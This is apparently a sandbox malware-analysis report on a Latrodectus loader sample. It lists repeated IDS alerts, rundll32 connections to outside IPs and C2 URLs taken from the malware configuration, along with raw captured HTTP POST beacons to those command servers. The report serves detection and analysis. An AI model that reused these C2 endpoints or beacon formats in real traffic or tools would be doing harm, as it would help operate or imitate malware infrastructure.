Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50041 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50036 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50047 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50074 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50050 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50072 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50055 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50019 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50064 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50051 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50088 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50092 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50032 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50068 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50069 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50093 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50081 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50067 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50013 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50083 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50045 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50082 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50087 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50039 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50061 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50063 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:49990 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50095 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50020 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2048735 - Severity 1 - ET MALWARE Latrodectus Loader Related Activity (POST) : 192.168.2.6:50066 -> 104.21.92.105:443

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\rundll32.exe	Network Connect: 87.120.37.120 9043			Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 45.143.166.230 9043			Jump to behavior

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: https://rolefenik.com/test/
Source: Malware configuration extractor	URLs: https://ergiholim.com/test/

Source: global traffic	TCP traffic: 192.168.2.6:49710 -> 45.143.166.230:9043
Source: global traffic	TCP traffic: 192.168.2.6:49982 -> 87.120.37.120:9043

Source: Joe Sandbox View	ASN Name: NETERRA-ASBG NETERRA-ASBG
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: ITTITT-ASRU ITTITT-ASRU

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49988 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49994 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49990 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49992 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49993 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49989 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49998 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50003 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50008 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49995 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50007 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49999 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50012 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50014 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50010 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49991 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50017 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50015 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50022 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50016 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50005 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50018 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50019 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50011 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50027 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50020 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49997 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50024 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50028 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50013 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50026 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50034 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50023 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50033 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50038 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50039 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50032 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50041 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50040 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50042 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50049 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50021 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50053 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50035 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50001 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50044 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50050 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49996 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50051 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50046 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50057 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50065 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50047 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50059 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50070 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50066 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50071 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50048 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50055 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50004 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50067 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50061 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50054 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50075 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50074 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50063 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50062 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50072 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50080 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50077 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50058 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50000 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50069 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50082 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50037 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50068 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50087 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50091 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50092 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50056 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50085 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50088 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50094 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50083 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50079 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50090 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50096 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50078 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50086 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50089 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50064 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50084 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50093 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50006 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50076 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50095 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50025 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50030 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50081 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50045 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50036 -> 104.21.92.105:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50043 -> 104.21.15.162:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49754
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49956

Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: rolefenik.comContent-Length: 92Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /test/ HTTP/1.1Accept: /Content-Type: application/x-www-form-urlencodedCookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ=User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1)Host: ergiholim.comContent-Length: 92Cache-Control: no-cache
